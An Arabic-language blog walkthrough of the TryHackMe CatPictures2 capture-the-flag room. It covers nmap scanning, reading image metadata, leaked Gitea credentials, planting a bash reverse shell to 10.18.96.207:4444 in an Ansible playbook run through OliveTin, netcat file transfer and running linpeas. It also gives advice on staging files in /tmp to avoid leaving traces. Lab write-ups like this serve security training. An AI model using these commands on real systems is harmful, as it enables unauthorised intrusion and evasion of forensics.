TryHackMe|CatPictures2 WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/catpictures2
====================================================
كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 5 بورتات، نرجع نسوي Aggressive سكان عليها
sudo nmap IP -vv -A -p 22,80,222,3000,8080
بورت 22 عليها SSH ونظام الـvictim هو ubuntu، وبورت 80 عليها Nginx server، أعطاني الـhttp title، وبرضو قالي إن robots.txt عليه 7 disallowed entries
*ملاحظة: robots.txt هو ملف يحتوي على المسارات اللي الموقع ما يبغى المتصفحات توصل لها، وأيضا يحتوي على المتصفحات اللي ممنوعة توصل للموقع. أحيان هذا الملف يحتوي معلومات مهمة.
بعد كذا على بورت 222 برضو SSH server، على بورت 8080 موجود Python Simple HTTP Server.
وخلال ما هذا السكان شغال نسوي سكان على جميع البورتات الموجودة على الشبكة ونشوف لو طلع معانا أي بورتات إضافية، بنخليه شغال في صفحة لوحده ونكمل، ونرجع له نشوف لو طلع معانا أي بورت جديدة
sudo nmap IP -vv -p-
طلع معانا بورت 1337.
نروح للمتصفح وندخل على بورت 3000، بنلاقي عليها Gitea، وهو يستخدم في كتابة الأكواد مُشابه لـGitHub. أما على بورت 80، بنلقى موقع فيه ألبوم، وبداخل هذا الألبوم 7 صور لقطط.
إذا قلبنا في هذه الصور، كلها صور عادية ما فيها شيء مهم، ولكن لو شفنا الـdescription لأول صورة في الألبوم بنلقى بداخله رسالة
وعشان نقرأ الـmetadata بنستخدم exiftool، لكن أول حاجة نحمل الصورة على جهازنا، ونسميها أي اسم، انا سميتها cat، لسهولة التعامل معها. بعد ما نحملها نستخدم هذه الكوماند
exiftool cat.jpg
في النتائج عند الـtitle، بنلاقي رقم 8080 ثم / ثم بعد كذا ملف نصي
لو فكرنا شوي، هذا بالضبط طريقة قراءة ملف من الـpython simple server اللي موجود على بورت 8080، فاللي بنسويه إننا من المتصفح بنروح لـIP:8080/764efa883dda1e11db47671c4a3bbd9e.txt ثم بيفتح معانا ملف نصي، وبداخله بيكون موجود اسم مستخدم وكلمة سر لتسجيل الدخول على Gitea على بورت 3000.
وبرضو أعطانا رقم البورت اللي يشتغل عليها Olivetin وهي 1337، اللي ظهرت معانا لما سوينا سكان على جميع البورتات. و Olivetin يعطيني واجهة أقدر من خلالها أنفذ أكواد مكتوبة مسبقا، وبنوضح تحت كيف نستفيد منه.
الحين بنروح لبورت 3000 ونسجل دخول، ثم مجرد ما ندخل علطول بنلقى أول فلاق
نضغط عليه ونقرأه ✨، بعد كذا اللي نبيه الحين إننا نحصل على shell بداخل هذا النظام. لو رحنا لبورت 1337 أحد الأزرار الموجودة مكتوب عليه Run Ansible Playbook
بما إن احنا عندنا وصول لـGitea فلو عرفنا وشهو الـPlaybook اللي قاعد يشغله، وعدلنا عليه وحطينا shell، بيصير مجرد ما نضغط على هذا الزر بيوصل لنا اتصال على جهازنا.
نرجع لـGitea ونضغط على ansible
بعد ما يدخلنا على الصفحة بيكون عندي مجموعة ملفات، أحدهم الفلاق اللي تو قرأناه، وفيه playbook.yaml، من اسمه واضح إنه مرتبط باللي موجود على Olivetin. نضغط عليه ونعرضه
*ملاحظة: yaml هي أحد لغات البرمجة اللي تستخدم عادة في الـconfiguration files.
عشان نعدل عليه بنضغط على علامة القلم، ثم بدل ما تكون الكوماند whoami بنحط مكانها reverse shell، أنا أخذت reverse bash -i من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN لجهازكم، والبورت نفس ما تبغون.
لكن بنضيف قبل الشيل bash -c عشان تشتغل كويس
bash -c "/bin/bash -i >& /dev/tcp/10.18.96.207/4444 0>&1"
بعدين في الـcommit changes نضيف أي شيء، ثم نضغط commit changes
ثم نرجع على جهازنا ونجهز الـlistener
nc -nlvp IP
وبعدها نروح لبورت 1337 ونضغط على Run Ansible Playbook، وبكذا بيوصل لنا اتصال على جهازنا. وبما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
الحين احنا في المجلد للمستخدم bismuth وبداخله موجود عندنا flag2.txt
cat flag2.txt
وبكذا حصلنا على ثاني فلاق✨. آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh.
بأنقله للضحية باستخدام netcat، في ncat الـlistener هو اللي يستقبل والـClient هو اللي يرسل، ولازم نشغل الـlistener قبل الـclient
على جهاز الضحية نروح للـtmp ونحمل الملف هناك
nc -nlvp 1233 > linpeas.sh
وعلى جهازنا
nc -nv IP 1233 < linpeas.sh
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
نغير صلاحيات linpeas.sh لملف تشغيلي
chmod +x linpeas.sh
ثم نشغله
./linpeas.sh











Comments
Post a Comment